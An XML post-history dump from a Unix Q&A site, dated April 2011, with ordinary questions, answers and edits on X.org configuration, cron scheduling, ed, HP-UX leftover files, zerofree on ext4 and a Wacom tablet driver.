  <row Id="26880" PostHistoryTypeId="25" PostId="11084" RevisionGUID="197f6de6-adf1-4ae6-9252-9a8fe8ddb2a8" CreationDate="2011-04-11T15:09:05.567" Comment="http://twitter.com/#!/StackUnix/status/57460165217230849" />
  <row Id="26881" PostHistoryTypeId="2" PostId="11092" RevisionGUID="4aa274f7-22ed-45a2-8efd-5a6252c6f4cb" CreationDate="2011-04-11T15:12:34.337" UserId="4335" Text="**FORKBOMB**. That's one of the worst things you can do to your machine. Here's the [link][1] that explains it.&#xD;&#xA;&#xD;&#xA;Also, in my opinion, never do anything as root unless absolutely necessary.&#xD;&#xA;&#xD;&#xA;HTH&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/understanding-bash-fork-bomb/" />
  <row Id="26882" PostHistoryTypeId="2" PostId="11093" RevisionGUID="02b6cd8b-c457-4718-bca6-40a40edc81c4" CreationDate="2011-04-11T15:13:34.640" UserId="4485" Text="# Fast people don't hurry&#xD;&#xA;Don't use not so well known programs or commands untested in a hurry. If you don't have enough time, think about how many time you need if it is going wrong. &#xD;&#xA;&#xD;&#xA;#use a lab for experiments, often&#xD;&#xA;You should read the man page for new commands, and test things, which are unclear, in a testing directory, where you have normal files, hidden files, links, symbolic links, subdirs and everything. Where it is no drama if something get lost. You could even use a [chroot environment][1] or a VM-Installation to have a sandbox. &#xD;&#xA;&#xD;&#xA;# Backup often&#xD;&#xA;And you should have daily backups. If you're not using it seriously (important posts, photos, valuable work) you don't need daily backups, but if they are very valuable, you should do hourly backups. &#xD;&#xA;&#xD;&#xA;A backup of your lab would be fine, and needn't be so much up to date. &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Chroot" />
  <row Id="26883" PostHistoryTypeId="2" PostId="11094" RevisionGUID="16554a81-aabe-40d3-9692-2e5b756ef1fe" CreationDate="2011-04-11T15:19:25.803" UserId="6501" Text="It may be fairly complicated to do something like this;  &#xD;&#xA;Why not try something like [pal](http://palcal.sourceforge.net/)?" />
  <row Id="26884" PostHistoryTypeId="2" PostId="11095" RevisionGUID="7451eb0e-13c1-4ff7-bc85-0eb0a2e15e00" CreationDate="2011-04-11T15:24:34.647" UserId="2270" Text="I also get the `No DRICreatePCIBusID symbol` error when I try to run `X -configure` on my system. Thankfully, I didn't really need to run it in order to make X run. These are the files inside my `/etc/X11/xorg.conf.d/`:&#xD;&#xA;&#xD;&#xA; - 10-evdev.conf&#xD;&#xA; - 10-monitor.conf &#xD;&#xA; - 10-quirks.conf&#xD;&#xA; - 20-nouveau.conf&#xD;&#xA;&#xD;&#xA;`10-evdev.conf` and `10-quirks.conf` came with the `xorg-server` package.&#xD;&#xA;`10-monitor.conf` contains the config from the [ArchWiki's Xorg page][1], without the `Device` section:&#xD;&#xA;&#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            Identifier     &quot;VGA-1&quot;&#xD;&#xA;            Option &quot;PreferredMode&quot; &quot;1280x1024&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            Identifier     &quot;TV-1&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;            Identifier     &quot;Screen0&quot;&#xD;&#xA;            Device         &quot;NVIDIA Card&quot;&#xD;&#xA;            DefaultDepth    24&#xD;&#xA;    &#xD;&#xA;            SubSection     &quot;Display&quot;&#xD;&#xA;                    Depth       24&#xD;&#xA;            EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; and `20-nouveau.conf` from the [Nouveau page][2]:&#xD;&#xA;&#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;        Identifier    &quot;NVIDIA Card&quot;&#xD;&#xA;        Driver        &quot;nouveau&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The following errors tells us that you haven't installed xterm and twm.&#xD;&#xA;&#xD;&#xA;    /etc/X11/xinit/xinitrc: line 61: xterm: command not found&#xD;&#xA;    /etc/X11/xinit/xinitrc: line 63: exec: xterm: not found&#xD;&#xA;    /etc/X11/xinit/xinitrc: line 59: twm: command not found&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You might want to `emerge` them or create a `~/.xinitrc` file to override the system-wide xinitrc file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Xorg#Monitor_settings&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Nouveau#Configuration" />
  <row Id="26885" PostHistoryTypeId="2" PostId="11096" RevisionGUID="48b8626e-b3ab-4714-804c-dbf721209372" CreationDate="2011-04-11T15:24:40.303" UserId="3447" Text="If you're working with disk partitions, make sure the device is what you think it is.  The other day I accidentally formatted my external hard drive thinking it was my USB flash drive.  My external drive is almost always `/dev/sdc`, but that day I booted up with my flash drive plugged in, so for whatever reason my external drive was `/dev/sdd`, which is what I formatted instead of my USB flash drive.&#xD;&#xA;&#xD;&#xA;There are probably a lot of ways to check what a device really is, but one way is to just mount the partition and check the contents before you make an attempt to destroy it.&#xD;&#xA;&#xD;&#xA;Another way is to run this:&#xD;&#xA;&#xD;&#xA;    ls -l /dev/disk/by-id/&#xD;&#xA;&#xD;&#xA;This will show the labels on your devices and tell you which file they are in `/dev/` they are, i.e. `ata-Maxtor_6Y080L0_Y2VW7QWE -&gt; ../../sda`" />
  <row Id="26886" PostHistoryTypeId="5" PostId="11084" RevisionGUID="acf3e689-a596-4b37-9727-88fce46b1081" CreationDate="2011-04-11T15:25:25.817" UserId="6498" Comment="Make the question stand out." Text="Hi all,&#xD;&#xA;&#xD;&#xA;I have a question i've been desperately wanting to ask the Unix community with regard to multiple monitor setup.&#xD;&#xA;&#xD;&#xA;I'm currently primarily a Windows user, and i've been running Ubuntu in dual boot to get a feel for it, but the one thing i find lacking, that will (i feel) force me to choose Windows over any Unix system for general use is the seeming lack of adequate support for multiple taskbars(or Panels as they're referred to in Ubuntu) with multiple screens. Please someone prove me wrong...&#xD;&#xA;&#xD;&#xA;I've googled, i've searched here, i've read every old forum post i could find, and found information numerous times that suggest i should be able to move panels from one screen to another. Now, this might sound silly, but they won't move to my secondary screen, i can add, remove and move around panels on the main screen, but they'll never drag to the secondary screen. Even if i could drag panels across screen correctly, this doesn't necessarily solve my problem anyway, read on..&#xD;&#xA;&#xD;&#xA;On Windows i use Ultramon, i get two displays, and a secondary taskbar that shows windows/tasks specific to that second screen, i'm looking for something similar, or as close to it on Unix, supporting Ubuntu would be preferable but i could always switch to something else(my important stuff is all in Windows right now).&#xD;&#xA;&#xD;&#xA;##So the big(main) question&#xD;&#xA;###Is there a Unix application available(free or not) that will provide multiple monitor panels/taskbars? Or alternatively, is there a way to hack in similar functionality?" />
  <row Id="26887" PostHistoryTypeId="5" PostId="11095" RevisionGUID="bb6cd69b-e419-49bc-879f-7da221c1dfa4" CreationDate="2011-04-11T15:29:44.070" UserId="2270" Comment="improved(?) formatting, added request for log" Text="I also get the `No DRICreatePCIBusID symbol` error when I try to run `X -configure` on my system. Thankfully, I didn't really need to run it in order to make X run. These are the files inside my `/etc/X11/xorg.conf.d/`:&#xD;&#xA;&#xD;&#xA; - 10-evdev.conf&#xD;&#xA; - 10-monitor.conf &#xD;&#xA; - 10-quirks.conf&#xD;&#xA; - 20-nouveau.conf&#xD;&#xA;&#xD;&#xA;`10-evdev.conf` and `10-quirks.conf` came with the `xorg-server` package.&#xD;&#xA;`10-monitor.conf` contains the config from the ArchWiki's [Xorg page][1], without the `Device` section,  and `20-nouveau.conf` from the [Nouveau page][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*10-monitor.conf:*&#xD;&#xA;&#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            Identifier     &quot;VGA-1&quot;&#xD;&#xA;            Option &quot;PreferredMode&quot; &quot;1280x1024&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            Identifier     &quot;TV-1&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;            Identifier     &quot;Screen0&quot;&#xD;&#xA;            Device         &quot;NVIDIA Card&quot;&#xD;&#xA;            DefaultDepth    24&#xD;&#xA;    &#xD;&#xA;            SubSection     &quot;Display&quot;&#xD;&#xA;                    Depth       24&#xD;&#xA;            EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;*20-nouveau.conf:*&#xD;&#xA;&#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;        Identifier    &quot;NVIDIA Card&quot;&#xD;&#xA;        Driver        &quot;nouveau&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The following errors tells us that you haven't installed xterm and twm.&#xD;&#xA;&#xD;&#xA;    /etc/X11/xinit/xinitrc: line 61: xterm: command not found&#xD;&#xA;    /etc/X11/xinit/xinitrc: line 63: exec: xterm: not found&#xD;&#xA;    /etc/X11/xinit/xinitrc: line 59: twm: command not found&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You might want to `emerge` them or create a `~/.xinitrc` file to override the system-wide xinitrc file.&#xD;&#xA;&#xD;&#xA;You might want to post the log for when you are trying to run X normally (i.e. startx). The one you posted is the log after trying to run `Xorg -configure`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Xorg#Monitor_settings&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Nouveau#Configuration" />
  <row Id="26889" PostHistoryTypeId="5" PostId="11093" RevisionGUID="292b6fd2-c295-495e-9ace-0e5995a1037e" CreationDate="2011-04-11T15:48:27.117" UserId="73" Comment="added 7 characters in body" Text="### Fast people don't hurry&#xD;&#xA;Don't use not so well known programs or commands untested in a hurry. If you don't have enough time, think about how many time you need if it is going wrong. &#xD;&#xA;&#xD;&#xA;### Use a lab for experiments, often&#xD;&#xA;You should read the man page for new commands, and test things, which are unclear, in a testing directory, where you have normal files, hidden files, links, symbolic links, subdirs and everything. Where it is no drama if something get lost. You could even use a [chroot environment][1] or a VM-Installation to have a sandbox. &#xD;&#xA;&#xD;&#xA;### Backup often&#xD;&#xA;And you should have daily backups. If you're not using it seriously (important posts, photos, valuable work) you don't need daily backups, but if they are very valuable, you should do hourly backups. &#xD;&#xA;&#xD;&#xA;A backup of your lab would be fine, and needn't be so much up to date. &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Chroot" />
  <row Id="26890" PostHistoryTypeId="10" PostId="11088" RevisionGUID="fa94d365-70f4-416a-91f8-929b6043883f" CreationDate="2011-04-11T15:50:37.583" UserId="73" CloseReasonId="4" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="26891" PostHistoryTypeId="2" PostId="11097" RevisionGUID="e2a7976c-1e24-4f72-b4b6-637d295723af" CreationDate="2011-04-11T15:50:54.917" UserId="4667" Text="[`ed`][1] is probably the right choice to edit a file in-place:&#xD;&#xA;&#xD;&#xA;    ed my_big_file &lt;&lt; END_OF_ED_COMMANDS&#xD;&#xA;    g/foo:/d&#xD;&#xA;    w&#xD;&#xA;    q &#xD;&#xA;    END_OF_ED_COMMANDS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://bama.ua.edu/cgi-bin/man-cgi?ed" />
  <row Id="26892" PostHistoryTypeId="2" PostId="11098" RevisionGUID="865fa069-9fe3-4146-b396-488467b05e26" CreationDate="2011-04-11T16:02:51.127" UserId="6502" Text="I have tried using `rm -f` on these files, and I am running as root, so I should be able to delete them. So why does this program leave behind these files and how can I remove them.&#xD;&#xA;Here is what the files look like:&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;-rwxr-xr-x   1 root       sys        6180112 Apr  2 23:28 ##libprog.so.4.5.1  &#xD;&#xA;-rwxr-xr-x   1 root       sys         427384 Apr  2 23:28 ##libprogn.so.1.0.0  &#xD;&#xA;-rwxr-xr-x   1 root       sys         578912 Apr  2 23:28 ##libprogcacheipc.so.1.0.0  &#xD;&#xA;-rwxr-xr-x   1 root       sys         225976 Apr  2 23:28 ##libvtsmartcache.so.1.0.0  &#xD;&#xA;-rwxr-xr-x   1 root       sys        1338920 Apr  2 23:28 ##libprogil.so.1.0.0  &#xD;&#xA;-rwxr-xr-x   1 root       sys        6180112 Apr  2 23:28 #libprog4.so.4.5.1`  &#xD;&#xA;Here is the error I get when trying to remove a file:  &#xD;&#xA;`rm -f /opt/prog/lib/hpux64/##libprog.so.4.5.1 &#xD;&#xA;rm: /opt/prog/lib/hpux64/##libprog.so.4.5.1 not removed.  Text file busy`&#xD;&#xA;" />
  <row Id="26893" PostHistoryTypeId="1" PostId="11098" RevisionGUID="865fa069-9fe3-4146-b396-488467b05e26" CreationDate="2011-04-11T16:02:51.127" UserId="6502" Text="hpux leaves files that start with a # behind after I uninstall a program. Is this normal and how do I delete them?" />
  <row Id="26894" PostHistoryTypeId="3" PostId="11098" RevisionGUID="865fa069-9fe3-4146-b396-488467b05e26" CreationDate="2011-04-11T16:02:51.127" UserId="6502" Text="écommandölineàéhpöuxà" />
  <row Id="26895" PostHistoryTypeId="2" PostId="11099" RevisionGUID="69f71354-1113-406f-9164-08e889cd420f" CreationDate="2011-04-11T16:54:58.553" UserId="1925" Text="Besides `fuser`, another helpful tool for getting information about open files and the processes using them is `lsof`.&#xD;&#xA;&#xD;&#xA;As a linux user I don't know much about hpux, but does `ps -ef` on that platform show defunct processes? Is there an option to show hidden processes? Are you running `ps` as root? It sounds like something got borked on your system and perhaps a process died or was killed while it still had disk io calls queued up? Do these files still show as in use after restarting the system?" />
  <row Id="26896" PostHistoryTypeId="2" PostId="11100" RevisionGUID="a9da1ffb-f5f9-4f69-aa2f-43af5bb4b50c" CreationDate="2011-04-11T17:35:52.137" UserId="5763" Text="I am using Linux as guest OS in Vbox. I deleted huge number of files from its filesystem. Now i want to shrink the filesystem image file (vdi). The shrinking works by compressing filesystem image wherever it has &quot;null&quot; value in disk.&#xD;&#xA;&#xD;&#xA;it seems an application called **zerofree** can write &quot;null&quot; into free space of filesystem. But the instructions say it works only on ext2/ext3. I have ext4 on my guest OS.&#xD;&#xA;&#xD;&#xA;1. Why won't it work on ext 4 (reason cited is &quot;extents&quot;, but can someone shed more light on it) ? &#xD;&#xA;&#xD;&#xA;2. Will it work, If i mount the **ext 4** as **ext 3** and then remount as **ext 4** ?&#xD;&#xA;&#xD;&#xA;3. Any other tools that can do similiar thing as zerofree on ext ?" />
  <row Id="26897" PostHistoryTypeId="1" PostId="11100" RevisionGUID="a9da1ffb-f5f9-4f69-aa2f-43af5bb4b50c" CreationDate="2011-04-11T17:35:52.137" UserId="5763" Text="Zerofree for ext 4" />
  <row Id="26898" PostHistoryTypeId="3" PostId="11100" RevisionGUID="a9da1ffb-f5f9-4f69-aa2f-43af5bb4b50c" CreationDate="2011-04-11T17:35:52.137" UserId="5763" Text="élinuxàéfilesystemsàévirtualboxàéext4à" />
  <row Id="26899" PostHistoryTypeId="5" PostId="11084" RevisionGUID="819d0b38-f849-465c-84e4-0164c387ecd7" CreationDate="2011-04-11T17:52:49.443" UserId="73" Comment="deleted 138 characters in body" Text="I have a question with regard to a multiple monitor setup.&#xD;&#xA;&#xD;&#xA;I'm currently primarily a Windows user, but I've been running Ubuntu in dual boot to get a feel for it. The one thing I find lacking that will (I feel) force me to choose Windows over any Unix system for general use is the seeming lack of adequate support for multiple taskbars (or panels, as they're referred to in Ubuntu) on multiple screens.&#xD;&#xA;&#xD;&#xA;I've googled, I've searched here, I've read every old forum post I could find, and found information numerous times that suggest I should be able to move panels from one screen to another. Now, this might sound silly, but they won't move to my secondary screen. I can add, remove and move around panels on the main screen, but they'll never drag to the secondary screen. Even if I could drag panels across screens correctly, this doesn't necessarily solve my problem anyway:&#xD;&#xA;&#xD;&#xA;On Windows I use Ultramon. I get two displays, and a secondary taskbar that shows windows/tasks specific to that second screen. I'm looking for something similar, or as close to it on Unix; supporting Ubuntu would be preferable but I could always switch to something else (my important stuff is all in Windows right now).&#xD;&#xA;&#xD;&#xA;**Is there a Unix application available (free or not) that will provide multiple monitor panels/taskbars?** Or alternatively, is there a way to hack in similar functionality?" />
  <row Id="26900" PostHistoryTypeId="25" PostId="11100" RevisionGUID="37f3a719-aeef-4c2f-b0ba-333b78093212" CreationDate="2011-04-11T18:09:05.747" Comment="http://twitter.com/#!/StackUnix/status/57505464816119808" />
  <row Id="26901" PostHistoryTypeId="2" PostId="11101" RevisionGUID="3768f93e-dc41-48bd-9aa0-dc7fb26c29e1" CreationDate="2011-04-11T18:10:46.730" UserId="3397" Text="Could it be that the DNS server/browser problem responds oddly based on some host header weirdness?  Try going straight for the internal IP instead of the domain name(get it from another computer if you have to) and set it statically in your hosts file just to test.  The internal facing website and external facing website might be on the same host with two different IPs(NAT) as well.  Then, the outside DNS resolution to a global IP probably fails to get hair-pinned at the edge router." />
  <row Id="26902" PostHistoryTypeId="2" PostId="11102" RevisionGUID="f2da3eb8-82d2-40bf-8586-38f7710b471d" CreationDate="2011-04-11T18:52:50.700" UserId="6215" Text="Could you advise me what to write in crontab so that it runs some job (for testing I will use /usr/bin/chromium-browser) every 15 seconds?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="26903" PostHistoryTypeId="1" PostId="11102" RevisionGUID="f2da3eb8-82d2-40bf-8586-38f7710b471d" CreationDate="2011-04-11T18:52:50.700" UserId="6215" Text="Cron running job every 15 seconds" />
  <row Id="26904" PostHistoryTypeId="3" PostId="11102" RevisionGUID="f2da3eb8-82d2-40bf-8586-38f7710b471d" CreationDate="2011-04-11T18:52:50.700" UserId="6215" Text="écronà" />
  <row Id="26905" PostHistoryTypeId="2" PostId="11103" RevisionGUID="0ab7b141-8ca6-42ff-b0f2-988c6eb2dbda" CreationDate="2011-04-11T19:06:45.847" UserId="6472" Text="In short, cron is not that granular with time. The shortest period you will get is 1 min.&#xD;&#xA;&#xD;&#xA;    #       .---------------- minute (0 - 59)&#xD;&#xA;    #       |       .------------- hour (0 - 23)&#xD;&#xA;    #       |       |       .---------- day of month (1 - 31)&#xD;&#xA;    #       |       |       |       .------- month (1 - 12) OR jan,feb,mar,apr ...&#xD;&#xA;    #       |       |       |       |       .----- day of week (0 - 6) (Sunday=0 or 7)  OR sun,mon,tue,wed,thu,fri,sat&#xD;&#xA;    #       |       |       |       |       |&#xD;&#xA;    #       *       *       *       *       *       command to be executed&#xD;&#xA;            *       *       *       *       /usr/bin/chromium-browser&#xD;&#xA;&#xD;&#xA;However you could write a script that would run every 15 seconds...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26907" PostHistoryTypeId="2" PostId="11105" RevisionGUID="355e053e-bb8b-459d-bbe9-f5a73b7959e7" CreationDate="2011-04-11T19:31:46.323" UserId="885" Text="You can't go below one minute granularity with cron. What you can do is, every minute, run a script that runs your job, waits 15 seconds and repeats. The following crontab line will start `some_job` every 15 seconds.&#xD;&#xA;&#xD;&#xA;    * * * * * for i in 0 1 2; do some_job &amp; sleep 15; done; some_job&#xD;&#xA;&#xD;&#xA;This script assumes that the job will never take more than 15 seconds. The following slightly more complex script takes care of not running the next instance if one took too long to run. It relies on `date` supporting the `%s` format (e.g. GNU or Busybox, so you'll be ok on Linux). If you put it directly in a crontab, note that `%` characters must be written as `\%` in a crontab line.&#xD;&#xA;&#xD;&#xA;    end=$(($(date +%s) + 45))&#xD;&#xA;    while true; do&#xD;&#xA;      some_job &amp;&#xD;&#xA;      [ $(date +%s) -ge $end ] &amp;&amp; break&#xD;&#xA;      sleep 15&#xD;&#xA;      wait&#xD;&#xA;    done&#xD;&#xA;    [ $(date +%s) -ge $(($end + 15)) ] || some_job&#xD;&#xA;&#xD;&#xA;I will however note that if you need to run a job as often as every 15 seconds, cron is probably the wrong approach. Although unices are good with short-lived processes, the overhead of launching a program every 15 seconds might be non-negligible (depending on how demanding the program is). Can't you run your application all the time and have it execute its task every 15 seconds?&#xD;&#xA;" />
  <row Id="26908" PostHistoryTypeId="2" PostId="11106" RevisionGUID="cd140538-857c-43f3-a94b-d5dce7e3d7de" CreationDate="2011-04-11T19:32:12.977" UserId="1655" Text="In your crontab:&#xD;&#xA;&#xD;&#xA;    * * * *  /usr/bin/chromium-browser_starter&#xD;&#xA;&#xD;&#xA;Then in `/usr/bin/chromium-browser_starter`:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # chromium-browser_starter&#xD;&#xA;    #&#xD;&#xA;    # Schedules /usr/bin/chromium-browser to run every 15 seconds for a minute.&#xD;&#xA;    # Intended to be called every minute through crond(8).&#xD;&#xA;    &#xD;&#xA;    for ((secs=0; secs&lt;46; secs+=15)); do&#xD;&#xA;        (sleep $secs; /usr/bin/chromium-browser &quot;$@&quot;) &amp;&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    wait&#xD;&#xA;" />
  <row Id="26909" PostHistoryTypeId="5" PostId="11100" RevisionGUID="464e1371-5551-433c-a47b-02fdbde4bfb2" CreationDate="2011-04-11T19:47:07.597" UserId="885" Comment="added “sparse file” search fodder; added hyperlink for zerofree; grammar" Text="I am using Linux as guest OS in VirtualBox. I deleted huge number of files from its filesystem. Now i want to shrink the filesystem image file (vdi). The shrinking works by compressing filesystem image wherever it has &quot;null&quot; value in disk.&#xD;&#xA;&#xD;&#xA;It seems an application called [zerofree](http://intgat.tigress.co.uk/rmy/uml/index.html) can write &quot;null&quot; into free space of filesystem in such a way that it becomes sparse. But the instructions say it works only on ext2/ext3. I have ext4 on my guest OS.&#xD;&#xA;&#xD;&#xA;1. Why won't it work on ext 4 (reason cited is &quot;extents&quot;, but can someone shed more light on it) ? &#xD;&#xA;&#xD;&#xA;2. Will it work, If i mount the **ext 4** as **ext 3** and then remount as **ext 4** ?&#xD;&#xA;&#xD;&#xA;3. Any other tools that can do similiar thing as zerofree on ext ?" />
  <row Id="26910" PostHistoryTypeId="6" PostId="11100" RevisionGUID="464e1371-5551-433c-a47b-02fdbde4bfb2" CreationDate="2011-04-11T19:47:07.597" UserId="885" Comment="added “sparse file” search fodder; added hyperlink for zerofree; grammar" Text="élinuxàévirtualboxàéext4àésparseöfilesà" />
  <row Id="26911" PostHistoryTypeId="6" PostId="11098" RevisionGUID="b9a07d56-2f46-4d0e-b692-9dbab91c37cc" CreationDate="2011-04-11T19:47:26.270" UserId="885" Comment="edited tags" Text="épackageömanagementàéhpöuxà" />
  <row Id="26912" PostHistoryTypeId="2" PostId="11107" RevisionGUID="195db44c-7bda-4bd0-9618-49c34fd891af" CreationDate="2011-04-11T19:53:49.067" UserId="4518" Text="Where I'm living now, the internet connection (wired) shows the following weird symptoms. They seem to be independent of whether I use host names or IP addresses.&#xD;&#xA;&#xD;&#xA;* Pinging works&#xD;&#xA;* Skype works&#xD;&#xA;* Wget connects, but never receives a response. (Keeps waiting at &quot;HTTP Request sent, awaiting response&quot; until timeout.)&#xD;&#xA; * Except for a small subset of domains, for which it works. &#xD;&#xA;* ssh commands (`ssh host ls`) works. &#xD;&#xA;* Interactive ssh works for a short while, but hangs quickly, e.g. during the first `ls` -- at the same point every time.&#xD;&#xA;* (Under Windows, nothing network-related, such as pinging, works.)&#xD;&#xA;&#xD;&#xA;What can I do to diagnose this further? So far, I've just been looking at the application layer. Since there is an apparent internet connection, there must be some way to tunnel Firefox, but I'd like to pin down the problem first." />
  <row Id="26913" PostHistoryTypeId="1" PostId="11107" RevisionGUID="195db44c-7bda-4bd0-9618-49c34fd891af" CreationDate="2011-04-11T19:53:49.067" UserId="4518" Text="How to diagnose a reliably unreliable connection?" />
  <row Id="26914" PostHistoryTypeId="3" PostId="11107" RevisionGUID="195db44c-7bda-4bd0-9618-49c34fd891af" CreationDate="2011-04-11T19:53:49.067" UserId="4518" Text="énetworkingà" />
  <row Id="26915" PostHistoryTypeId="6" PostId="11057" RevisionGUID="5cc6359a-309a-4cec-9401-3accb73e6903" CreationDate="2011-04-11T20:00:38.993" UserId="885" Comment="edited tags" Text="élinuxàédistributionöchoiceàésmallödistributionà" />
  <row Id="26916" PostHistoryTypeId="2" PostId="11108" RevisionGUID="83aa0932-1a72-4baf-8487-baca00c5e941" CreationDate="2011-04-11T20:06:19.860" UserId="6472" Text="Admittedly it's been awhile since I've used YDL but as I remember it, it should go in /etc/sysconfig/mouse not /etc/sysconfig/mouse-emulation. Perhaps that is worth a try." />
  <row Id="26917" PostHistoryTypeId="2" PostId="11109" RevisionGUID="02333c28-c9d3-4070-9db3-df412e78356c" CreationDate="2011-04-11T20:16:01.297" UserId="6027" Text="Following instructions at http://lik.noblogs.org/post/2010/05/07/wacom-debian/&#xD;&#xA;&#xD;&#xA;Though, i downloaded and built linuxwacom-0.8.8-11&#xD;&#xA;&#xD;&#xA;    ./configure --enable-wacom --with-kernel=/usr/src/linux-headers-2.6.32-5-686&#xD;&#xA;&#xD;&#xA;completes without any problem, then copy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo cp src/2.6.30/wacom.ko /lib/modules/2.6.32-5-686/kernel/drivers/input/tablet/wacom.ko&#xD;&#xA;&#xD;&#xA;unplug and replug, &#xD;&#xA;&#xD;&#xA;    jcress@debian:~/Downloads/linuxwacom-0.8.8-11$ dmesg | grep wacom&#xD;&#xA;    [  878.879686] usbcore: registered new interface driver wacom&#xD;&#xA;    [  878.879694] wacom: v1.52:USB Wacom tablet driver&#xD;&#xA;    [  963.774142] usbcore: deregistering interface driver wacom&#xD;&#xA;    [ 1613.534147] usbcore: registered new interface driver wacom&#xD;&#xA;    [ 1613.534671] wacom: v1.52-pc-0.4:USB Wacom tablet driver&#xD;&#xA;&#xD;&#xA;and dmesg | grep input doesn't list the wacom&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;advice? Does this mean the module isn't working?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26918" PostHistoryTypeId="1" PostId="11109" RevisionGUID="02333c28-c9d3-4070-9db3-df412e78356c" CreationDate="2011-04-11T20:16:01.297" UserId="6027" Text="wacom pen &amp; touch cth-460 on debian" />
  <row Id="26919" PostHistoryTypeId="3" PostId="11109" RevisionGUID="02333c28-c9d3-4070-9db3-df412e78356c" CreationDate="2011-04-11T20:16:01.297" UserId="6027" Text="écompilingàékernelömodulesàémoduleàétabletà" />
  <row Id="26920" PostHistoryTypeId="6" PostId="11053" RevisionGUID="88734993-2b34-4247-a00e-d6a2662b5dbd" CreationDate="2011-04-11T20:18:51.810" UserId="885" Comment="edited tags" Text="élinuxàédebuggingàéforensicsà" />
  <row Id="26921" PostHistoryTypeId="2" PostId="11110" RevisionGUID="392d9a03-42b4-47d0-867f-9c3f65993e3a" CreationDate="2011-04-11T20:29:48.880" UserId="3682" Text="When I run `ls -l`, the following is displayed:&#xD;&#xA;&#xD;&#xA;    &gt;: ls -l&#xD;&#xA;    total 320&#xD;&#xA;    -rw-r--r--   1 foo  staff    633  5 Apr 13:23 A.class&#xD;&#xA;    -rw-r--r--   1 foo  staff    296  5 Apr 13:24 A.java&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What does the `total` signify? Size? If so, what size?" />
  <row Id="26922" PostHistoryTypeId="1" PostId="11110" RevisionGUID="392d9a03-42b4-47d0-867f-9c3f65993e3a" CreationDate="2011-04-11T20:29:48.880" UserId="3682" Text="Total in `ls -l`" />
  <row Id="26923" PostHistoryTypeId="3" PostId="11110" RevisionGUID="392d9a03-42b4-47d0-867f-9c3f65993e3a" CreationDate="2011-04-11T20:29:48.880" UserId="3682" Text="éosxàélsà" />
  <row Id="26924" PostHistoryTypeId="2" PostId="11111" RevisionGUID="4f11f1aa-510f-4def-9206-5d41424df997" CreationDate="2011-04-11T20:33:06.903" UserId="5325" Text="It's the total number of blocks (usually 512 bytes per POSIX; see `man ls` for details of the `$BLOCKSIZE` environment variable) as obtained from the `st_blocks` and `st_blocksize` elements of the `stat()` structure for each file.  As such, it is not recursive and not bloated by &quot;sparse&quot; files." />
  <row Id="26925" PostHistoryTypeId="2" PostId="11112" RevisionGUID="1d14bd2b-1e29-43a6-bbf6-faefdc472cd8" CreationDate="2011-04-11T20:34:16.900" UserId="3001" Text="From `man 1 ls` on Mac OS X 10.6.7, specifically the section titled &quot;The Long Format&quot;&#xD;&#xA;&#xD;&#xA;    In addition, for each directory whose contents are&#xD;&#xA;    displayed, the total number of 512-byte blocks used by the files in the directory is&#xD;&#xA;    displayed on a line by itself, immediately before the information for the files in&#xD;&#xA;    the directory." />
  <row Id="26926" PostHistoryTypeId="2" PostId="11113" RevisionGUID="a5c2a1b7-dd66-409c-95fd-fa50619ba1bb" CreationDate="2011-04-11T20:34:33.123" UserId="6507" Text="You may need to set the subscription for the machine.  In the RHN panel, select the machine and click on &quot;Alter Channel Subscriptions.&quot;  Check one of the channel entitlements.  Run yum update and try again." />
  <row Id="26927" PostHistoryTypeId="25" PostId="11110" RevisionGUID="cc51354a-202e-4e77-b5dd-586cbd18d387" CreationDate="2011-04-11T21:09:06.087" Comment="http://twitter.com/#!/StackUnix/status/57550764817653761" />
